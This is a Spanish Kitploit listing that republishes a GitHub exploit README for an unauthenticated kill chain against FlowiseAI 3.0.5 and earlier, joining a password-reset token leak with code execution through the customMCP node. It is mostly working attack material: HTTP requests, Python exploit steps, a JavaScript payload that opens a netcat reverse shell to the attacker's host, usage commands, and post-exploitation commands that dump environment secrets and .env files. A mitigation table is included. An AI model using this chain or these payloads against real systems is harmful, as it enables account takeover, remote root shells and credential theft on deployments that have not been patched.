Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
FlowiseAI-Critical-KillChain — Cadena de ataque crítica no autenticada que conduce a RCE completo en FlowiseAI (CVE-2025-58434 + CVE-2025-59528) | Kitploit
Herramientas/GitHubGitHub/cveteam/flowiseai-critical-killchain
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAutenticaciónAprendizaje y EducaciónRed TeamingDesarrollo de Payloads

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
GitHub
cveteam/flowiseai-critical-killchain

FlowiseAI-Critical-KillChain

Cadena de ataque crítica no autenticada que conduce a RCE completo en FlowiseAI (CVE-2025-58434 + CVE-2025-59528)

Ver Repositorio
1hace 4 mesesAún no revisado

FlowiseAI — Cadena de Ataque Crítica

Toma de control de cuenta no autenticada encadenada con ejecución remota de código contra FlowiseAI <= 3.0.5.
Compromiso completo del contenedor en menos de 5 segundos, sin necesidad de credenciales.


Kill Chain

Diagrama de la cadena de ataque de FlowiseAI
Izquierda: página de inicio de sesión de FlowiseAI — Derecha: shell de root mediante CVE-2025-59528 · uid=0(root)


Table of Contents

  • How It Works — Overview
  • Vulnerability Details
    • CVE-2025-58434 — Token Disclosure
    • CVE-2025-59528 — Remote Code Execution
  • Why This Chain Is Deadly
  • Exploit Code Walkthrough
  • Usage
  • Post-Exploitation
  • Mitigation
  • References

How It Works — Overview

Este exploit encadena dos vulnerabilidades críticas independientes en un único ataque completamente automatizado. Ninguna de las dos vulnerabilidades garantiza por sí sola el compromiso total, pero juntas forman una cadena de ataque completa desde cero credenciales hasta una shell de root dentro de un contenedor Docker.

root@kitploit:~
[Sin credenciales]
      │
      ▼
① Abusar del endpoint de olvido de contraseña (sin autenticación requerida)
      │  → El servidor responde con el token de restablecimiento de la víctima en texto plano
      ▼
② Enviar el token al endpoint de restablecimiento de contraseña
      │  → El atacante controla la contraseña del administrador
      ▼
③ Iniciar sesión + obtener la clave API Bearer
      │  → Sesión autenticada completa establecida
      ▼
④ Enviar payload JavaScript a través del nodo customMCP
      │  → El servidor lo evalúa mediante el constructor Function()
      ▼
[Shell de root dentro del contenedor Docker]

Lo que lo hace de interacción cero: en ningún momento la víctima recibe un correo electrónico, ve una alerta de inicio de sesión o desencadena ningún evento visible. El ataque es completamente del lado del servidor.


Vulnerability Details

CVE-2025-58434 — Divulgación de token de restablecimiento de contraseña no autenticado

CVSS 3.1: 9.8 Crítico — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Afecta: FlowiseAI <= 3.0.5 (cloud + autogestionado)
Aviso: GHSA-wgpv-6j63-x5ph

Causa Raíz

FlowiseAI tiene un concepto de solicitudes "internas": llamadas API realizadas entre sus propios servicios, identificadas por el encabezado HTTP x-request-from: internal. El endpoint /api/v1/account/forgot-password utiliza este encabezado para omitir la autenticación por completo y devolver una respuesta diferente y más verbose que la que daría a los solicitantes externos.

El problema: este encabezado no se valida ni restringe de ninguna manera. Cualquier atacante en Internet puede enviarlo. Cuando lo hace, en lugar de desencadenar un correo electrónico de restablecimiento de contraseña, la API responde con el registro completo del usuario, incluido un tempToken activo que se puede usar inmediatamente para establecer una nueva contraseña.

Por qué funciona

Normalmente, un flujo de restablecimiento de contraseña se ve así:

root@kitploit:~
Usuario solicita restablecimiento → Servidor genera token → Token enviado por CORREO ELECTRÓNICO → Usuario hace clic en el enlace → Contraseña cambiada

Aquí, el servidor omite el paso del correo electrónico por completo y coloca el token directamente en el cuerpo de la respuesta HTTP. El atacante lo captura y pasa directamente al paso de restablecimiento, sin necesidad de acceso al correo electrónico.

Solicitud

root@kitploit:~
POST /api/v1/account/forgot-password HTTP/1.1
Host: <target>
Content-Type: application/json
x-request-from: internal

{"user": {"email": "[email protected]"}}

Respuesta 201: registro completo del usuario expuesto

root@kitploit:~
{
  "user": {
    "email": "[email protected]",
    "credential": "$2a$05$hVtF9EKL0lI1qqrvwTD3QeFMzVlvtk8fAKX...",
    "tempToken": "N5oXQ9C99h0zMNNGWLvoE4buMvcdXN32...",
    "tokenExpiry": "2026-04-11T21:37:03.063Z",
    "status": "active"
  }
}

Luego, el tempToken se envía directamente al endpoint de restablecimiento, sin interacción por correo electrónico, sin CAPTCHA, sin límite de velocidad.


CVE-2025-59528 — Ejecución Remota de Código a través del Nodo CustomMCP

CVSS 3.1: 10.0 Crítico — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Afecta: FlowiseAI <= 3.0.5
Aviso: GHSA-3gcm-f6qx-ff7p

Causa Raíz

FlowiseAI permite a los usuarios definir nodos MCP (Model Context Protocol) personalizados con la configuración del servidor proporcionada como una cadena JSON. Internamente, la plataforma necesita analizar esta configuración y lo hace utilizando el constructor Function() de JavaScript, que es funcionalmente equivalente a eval().

La cadena de configuración llega al sumidero completamente sin sanitizar:

root@kitploit:~
// packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts — línea 262
const result = Function('return ' + mcpServerConfig)();
//                       ↑ entrada de usuario sin sanitizar — ejecución arbitraria de JS

Por qué Function() es tan peligroso como eval()

Function('return ' + code)() hace lo siguiente:

  1. Construye una nueva función de JavaScript con code como su cuerpo
  2. La invoca inmediatamente
  3. Devuelve el resultado

Esto le da al atacante un contexto completo de ejecución de JavaScript con acceso a process, require, child_process y todo el runtime de Node.js, no un sandbox.

Flujo de contaminación: desde HTTP hasta la shell

root@kitploit:~
HTTP POST /api/v1/node-load-method/customMCP
  └─ body.inputs.mcpServerConfig                  ← cadena controlada por el atacante
       └─ substituteVariablesInString()            ← sin filtrado, pasa directo
            └─ convertToValidJSONString()          ← sin filtrado, pasa directo
                 └─ Function('return ' + input)()  ← código arbitrario se ejecuta aquí

Payload de inyección

root@kitploit:~
({x:(function(){
  const cp = process.mainModule.require("child_process");
  cp.exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc LHOST LPORT >/tmp/f");
  return 1;
})()})

¿Por qué mkfifo y no /dev/tcp?
El contenedor ejecuta /bin/sh, no /bin/bash. /dev/tcp es una característica exclusiva de bash; no existe en shells POSIX estándar. mkfifo crea un pipe con nombre que funciona en cualquier shell compatible con POSIX, lo que hace que la shell inversa sea portátil entre entornos de contenedores.


Why This Chain Is Deadly


Exploit Code Walkthrough

El exploit está estructurado en cuatro pasos secuenciales, cada uno correspondiente directamente a una fase de la cadena de ataque.

Paso 1 — Cosecha de Token (CVE-2025-58434)

root@kitploit:~
r1 = session.post(
    f"{TARGET}/api/v1/account/forgot-password",
    headers={"x-request-from": "internal"},
    json={"user": {"email": EMAIL}}
)
temp_token = r1.json()["user"]["tempToken"]

Qué sucede: El servidor cree que esta es una llamada interna de servicio a servicio debido al encabezado x-request-from: internal. Omite la ruta normal de envío de correo electrónico y devuelve el registro completo del usuario, incluido un token de restablecimiento de contraseña activo, directamente en el cuerpo de la respuesta HTTP 201.

Por qué funciona: La verificación del encabezado es puramente basada en cadenas sin verificación criptográfica. Cualquier llamante puede establecerlo. El backend no valida el origen de la solicitud.


Paso 2 — Toma de Control de Cuenta

root@kitploit:~
session.post(
    f"{TARGET}/api/v1/account/reset-password",
    headers={"x-request-from": "internal"},
    json={"user": {"email": EMAIL, "tempToken": temp_token, "password": NEW_PASS}}
)

Qué sucede: El tempToken robado se envía junto con una nueva contraseña elegida por el atacante. El servidor valida el token (que es real y está activo), confirma que el correo electrónico coincide y actualiza el hash de la credencial; sin confirmación por correo electrónico, sin verificación secundaria.

Por qué funciona: La validación del token solo verifica que el token exista y no haya expirado. No verifica que el llamante que generó el token sea el mismo que envía el restablecimiento. La propiedad nunca se verifica.


Paso 3 — Extracción de Sesión y Clave API

root@kitploit:~
# Iniciar sesión con la nueva contraseña
session.post(f"{TARGET}/api/v1/auth/login",
    json={"email": EMAIL, "password": NEW_PASS})

# Obtener la clave API Bearer necesaria para el endpoint de RCE
r4 = session.get(f"{TARGET}/api/v1/apikey")
api_key = r4.json()[0]["apiKey"]

Qué sucede: Un inicio de sesión normal con la nueva contraseña del atacante establece una sesión de administrador completa (basada en cookies). Luego, la sesión se usa para obtener la clave API predeterminada de la plataforma, que es necesaria para autenticar las solicitudes al endpoint node-load-method utilizado en el paso 4.

Por qué funciona: En este punto, el atacante ES el administrador: posee las credenciales. La sesión y la clave API son emitidas legítimamente por el servidor.


Paso 4 — Ejecución Remota de Código (CVE-2025-59528)

root@kitploit:~
js_payload = (
    '({x:(function(){const cp = process.mainModule.require("child_process"); '
    f'cp.exec(`{revshell}`); return 1;}})()'
)
session.post(
    f"{TARGET}/api/v1/node-load-method/customMCP",
    headers={"Authorization": f"Bearer {api_key}"},
    json={"loadMethod": "listActions", "inputs": {"mcpServerConfig": js_payload}}
)

Qué sucede: El payload es una función JavaScript autoinvocada (IIFE) disfrazada de objeto compatible con JSON. Cuando convertToValidJSONString() lo procesa, el valor termina dentro de Function('return ' + input)(), que lo ejecuta como JavaScript en vivo con acceso completo al runtime de Node.js. child_process.exec() ejecuta el comando de shell inversa, estableciendo una conexión de vuelta al oyente del atacante.

¿Por qué el envoltorio IIFE? El patrón Function('return ' + x) espera que la expresión se pueda devolver. Envolver el código malicioso en ({x: (function(){ ... })()}) hace que toda la expresión sea JavaScript válido que se evalúa como un objeto, satisfaciendo al analizador mientras ejecuta el payload como efecto secundario.

¿Por qué nohup + disown? La solicitud HTTP tiene un tiempo de espera. Sin desvincular el proceso, la shell moriría cuando la solicitud agote el tiempo. nohup + disown separa la shell inversa del proceso Node.js, manteniéndola viva de forma independiente.


Usage

root@kitploit:~
# 1. Iniciar el oyente primero
nc -lvnp 4444

# 2. Ejecutar la cadena de ataque completa
python3 exploit.py -ip <TARGET_IP> -lhost <YOUR_IP> -lport 4444

# 3. Si la contraseña de administrador ya fue restablecida en un intento anterior
python3 exploit.py -ip <TARGET_IP> -lhost <YOUR_IP> -lport 4444 --skipreset

Argumentos

Requisitos

root@kitploit:~
pip install requests

Post-Exploitation

Una vez que la shell se conecta, el contenedor normalmente se ejecuta como root con acceso al entorno completo de la aplicación FlowiseAI:

root@kitploit:~
# Secretos y credenciales
env                       # Claves API, URIs de BD, credenciales de servicios en variables de entorno
cat .env                  # Archivo de configuración de FlowiseAI — contraseñas de BD, secretos JWT

# Internos de la aplicación
ls /app/packages/         # Estructura del monorepo — código fuente, configuraciones, node_modules
cat /app/packages/server/.env

# Contexto del contenedor
cat /proc/1/cmdline       # Qué proceso es PID 1 — confirma entorno de contenedor
hostname                  # ID del contenedor
cat /etc/hosts            # Mapa de red interna — otros servicios alcanzables

# Candidatos para movimiento lateral
env | grep -i "db\|mongo\|postgres\|redis\|key\|secret\|token\|pass"

Mitigation


References

  • Aviso de Seguridad de FlowiseAI — CVE-2025-58434
  • Aviso de Seguridad de FlowiseAI — CVE-2025-59528
  • NVD — CVE-2025-58434
  • NVD — CVE-2025-59528
  • OWASP: Pruebas de Funcionalidades Débiles de Cambio o Restablecimiento de Contraseña
  • CWE-94: Control Inadecuado de la Generación de Código

Disclaimer

Este repositorio y todo el código asociado se publican estrictamente con fines educativos y de investigación de seguridad autorizada.

Ambas vulnerabilidades están divulgadas públicamente y parcheadas a partir de FlowiseAI 3.0.6. Probar contra sistemas que no posee o para los cuales no tiene autorización explícita por escrito es ilegal según la legislación aplicable, incluida, entre otras, la Ley de Fraude y Abuso Informático (CFAA), la Ley de Uso Indebido de Computadoras y la Directiva NIS2 de la UE.

Los autores no aceptan ninguna responsabilidad por cualquier daño resultante del mal uso de este material.


0H4K3D · CVE Team

Descargar herramienta
PropiedadDetalles
No se requieren credencialesEl atacante comienza sin nada más que una IP objetivo
Interacción cero con la víctimaSin phishing, sin clics, sin ingeniería social
Sin límite de velocidadEl endpoint de restablecimiento no tiene limitación: se puede forzar por fuerza bruta si es necesario
Sin CAPTCHAEl flujo de restablecimiento no tiene verificación humana
Sin confirmación por correo electrónicoEl cambio de contraseña es inmediato, silencioso, irreversible
Runtime completo de Node.js en RCEchild_process, sistema de archivos, red: sin sandbox
Se ejecuta como root en DockerEl contenedor normalmente se inicia como root, acceso completo al sistema de archivos
Afecta cloud + autogestionadoCualquier implementación de <= 3.0.5 es vulnerable
FlagDescripciónRequerido
-ipDirección IP del objetivo✅
-lhostSu IP para la llamada de la shell inversa✅
-lportSu puerto de escucha✅
--skipresetOmitir CVE-2025-58434 (fases 1 y 2) — usar si la cuenta ya está comprometida❌
SoluciónPrioridad
Actualizar a FlowiseAI ≥ 3.0.6🔴 Inmediata
Bloquear x-request-from: internal en el proxy inverso — nunca debería venir de Internet🔴 Inmediata
Restringir /api/v1/account/* solo a sesiones autenticadas🔴 Inmediata
Sanitizar mcpServerConfig — nunca pasar entrada de usuario a Function() o eval()🔴 Inmediata
Agregar límite de velocidad y CAPTCHA a todos los endpoints de restablecimiento de contraseña🔴 Inmediata
Aislar la instancia de FlowiseAI de Internet si no se requiere exposición pública🟠 Alta
Ejecutar el contenedor como un usuario no root🟠 Alta
Habilitar detección de anomalías en los endpoints de restablecimiento de contraseña y MCP🟡 Media
Auditar todos los endpoints que aceptan x-request-from y verificar que no puedan ser llamados externamente🟡 Media